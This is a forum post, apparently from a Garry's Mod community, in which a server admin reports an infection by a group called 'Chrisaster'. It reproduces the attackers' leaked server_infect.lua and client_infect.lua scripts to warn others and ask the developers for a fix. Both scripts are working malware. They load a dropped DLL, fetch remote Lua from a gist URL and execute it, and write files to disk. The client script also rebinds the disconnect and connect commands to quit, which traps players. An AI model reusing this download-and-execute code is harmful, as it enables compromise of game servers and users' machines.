Chrisaster and Friends: Infecting Servers and Clients!

[JohnMadden66]

Some of our clients, and our server, recently got messed with by Chrisaster, or one of his buddies that go under the same name, or VIN, these include the files client_infect.lua, and server_infect.lua.

Seems they do this through client uploads.

Not 100% sure, but it seems they Hack into RCON (They can get your RCON password through clientside lua, even with client uploads disabled), put some files on there, then they use some other fancy doodads to infect the server and clients more.

Some of their code leaked into our console, so here's what I found, make what you want of it, and keep in mind that these scripts were very recently made, this is a new thing:

Here's the server_infect.lua
[url]https://gist.githubusercontent.com/Chrisaster/d9872acbf2da227e9281/raw/server_infect.lua[/url]
[lua]-- Loaded over HTTP by Lua through CompileString(...)() via rcon request

if not system.IsWindows() then
return
end

if file.Exists("lua/autorun/server/default.lua", "MOD") then
return -- Already infected
end

timer.Create("infchk", 2, 0, function()
if file.Exists("download/engine_win32.dll", "MOD") then
timer.Remove("infchk")

require("/../../../download/engine")

http.Fetch("https://gist.githubusercontent.com/Chrisaster/d9872acbf2da227e9281/raw/server_autorun.lua", function(content)
CreateFile("garrysmod/lua/autorun/server/default.lua", content)

include("autorun/server/default.lua")
end, function() end)
end
end)[/lua]

Here's the client_infect.lua
[url]https://gist.github.com/Chrisaster/d9872acbf2da227e9281[/url]
[lua]-- Loaded over HTTP by Lua through client:SendLua(..)

if not system.IsWindows() then
return
end

if file.Exists("bin/game_shader_generic_engine.dll", "MOD") then
return -- Already infected
end

timer.Create("infchk", 2, 0, function()
if file.Exists("download/engine_win32.dll", "MOD") then
timer.Remove("infchk")

require("/../../../download/engine")

http.Fetch("https://gist.githubusercontent.com/Chrisaster/d9872acbf2da227e9281/raw/client_init.lua", function(content)
CreateFile("garrysmod/bin/game_shader_generic_engine.dll", GetShaderBinary())
CreateFile("garrysmod/materials/cooltexture.vtf", content)

local ret = CompileString( content, "l", false )
pcall(ret)

timer.Simple(4, function()
ConCommand("alias disconnect quit\n")
ConCommand("alias gamemenucommand quit\n")
ConCommand("alias retry quit\n")
ConCommand("alias connect quit\n")
ConCommand("alias map quit\n")
end)
end)
end
end)[/lua]

Hey Garry, or Valve, maybe you can find some ways to fix this a bit?

Thanks, and VINH'LL FIX IT@@.